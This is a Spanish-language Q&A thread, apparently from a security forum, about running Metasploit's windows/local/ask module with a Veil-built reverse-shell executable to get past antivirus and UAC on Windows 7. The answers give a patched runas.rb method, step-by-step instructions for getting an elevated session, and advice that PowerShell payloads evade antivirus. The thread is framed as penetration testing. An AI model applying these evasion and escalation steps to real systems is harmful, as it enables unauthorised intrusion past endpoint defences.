Carga personalizada Metasploit con bypass de UAC

12

La máquina que estoy atacando tiene antivirus instalado.

Me las arreglé para usar Veil Framework para crear una carga útil de shell inversa inicial que el AV no ha detectado. Sin embargo, UAC está habilitado en el destino de Windows 7.

Estoy intentando usar exploit/windows/local/ask de Metasploit para hacer que el usuario aparezca , con la esperanza de que hagan clic en Sí para permitir que la carga útil cree otra shell inversa con privilegios elevados.

Sin embargo, las cargas útiles metasploit predeterminadas son detectadas por el AV, por lo que he usado payload/generic/custom para establecer PAYLOADFILE a mi Veil generado .exe . Sin embargo, recibo el siguiente mensaje de error al ejecutar el exploit:

msf exploit(ask) > exploit 

[*] UAC is Enabled, checking level...
[*] The user will be prompted, wait for them to click 'Ok'
[-] Exploit failed: NoMethodError undefined method 'length' for nil:NilClass

Me doy cuenta de que hay otras formas de evitar UAC:

  • exploit/windows/local/bypassuac

  • exploit/windows/local/bypassuac_injection

Aunque como parte de este experimento de prueba de lápiz, quiero que el usuario final permita la carga de forma manual.

¿Es mi sintaxis correcta para el exploit:

msf exploit(ask) > show options 

Module options (exploit/windows/local/ask):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILENAME                    no        File name on disk
   PATH                        no        Location on disk, %TEMP% used if not set
   SESSION    4                yes       The session to run this module on.
   TECHNIQUE  EXE              yes       Technique to use (Accepted: PSH, EXE)


Payload options (generic/custom):

   Name         Current Setting                                      Required  Description
   ----         ---------------                                      --------  -----------
   PAYLOADFILE  /usr/share/veil-output/compiled/payload_0907_cs.exe  no        The file to read the payload from
   PAYLOADSTR                                                        no        The string to use as a payload


Exploit target:

   Id  Name
   --  ----
   0   Windows

He buscado en Google el error pero parece que no devuelve nada relevante. Voy a hacer esto de la manera correcta?

    
pregunta SilverlightFox 09.07.2015 - 15:56
fuente

2 respuestas

12

Se encontró con el mismo problema al reproducir.

ACTUALIZACIÓN :

Cuando se utiliza el windows/local/ask exploit, parece que no necesita configurar una carga útil con él. En el windows/local/ask exploit puede establecer una referencia al undetectabletrojan.exe, que luego se ejecutará con privilegios elevados a través de UAC. Sin embargo, como lo señala @SilverlightFox , el exploit de ask siempre usa una carga útil autogenerada que es fácilmente detectable por AV. Para contrarrestar esto, se requieren algunos cambios en el /usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb .

Cambios de código

  • Abrir /usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb
  • Edite el método def shell_execute_exe para que se vea como sigue ( pastebin ): def shell_execute_exe(filename = nil, path = nil) exe_payload = generate_payload_exe payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe' payload_path = path || get_env('TEMP') cmd_location = "#{payload_path}\#{payload_filename}" if filename == nil print_status("Uploading payload to the filesystem...") write_file(cmd_location, exe_payload) else print_status("Using #{payload_filename}...") end command, args = cmd_location, nil shell_exec(command, args) end

  • Recargar msf

Usa el exploit

Los pasos exactos son:

  • generar un exe de shell inverso indetectable (llamémoslo undetectabletrojan.exe)
  • Obtenga una sesión de meterpreter sin privilegios
  • Suba undectabletrojan.exe a través de la sesión sin privilegios (por ejemplo, a c: \ tmp)
  • Realice un fondo de esta sesión sin privilegios y configure un nuevo exploit ( windows/local/ask )
  • Establece las siguientes opciones del windows/local/ask exploit:
    • establecer nombre de archivo undectabletrojan.exe
    • establecer ruta c: \ tmp
  • Aunque no haya configurado una carga útil, DEBE establecer las opciones LPORT y LHOST, al parecer, el ask exploit siempre usa una carga útil reverse_tcp de Windows ..
  • explotar
  • Tendrá una segunda sesión, con privilegios.

La solución es modificar /usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb .

  • En la línea 23 menciona print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
  • Modifica esto para: print_status("Uploading #{payload_filename}...")

  • Guardar

  • Salir de msfconsole
  • Asegúrese de ejecutar 'reload-all' después de reiniciar msfconsole

Luego me funcionó, aunque tuve que reiniciar msfconsole un par de veces antes de que se produjera el cambio. Déjame saber lo que dice.

    
respondido por el Michael 09.07.2015 - 18:04
fuente
2

La configuración de la opción TECHNIQUE en PSH para Powershell pareció resolver mi problema de evasión AV. El antivirus no detecta el código malicioso de Powershell tan bien (si es que lo hace) como el código ejecutable.

Gracias a @Michael por su respuesta , aunque exploit/windows/local/ask pareció sobrescribir la carga útil cargada manualmente con lo que estaba configurado en FILENAME durante mis pruebas, por lo que esto no me funcionó.

La respuesta de Michael en revisión 3 no funcionó, sin embargo, el código corregido para el módulo runas en revisión 5 funciona de maravilla.

    
respondido por el SilverlightFox 12.07.2015 - 12:48
fuente

Lea otras preguntas en las etiquetas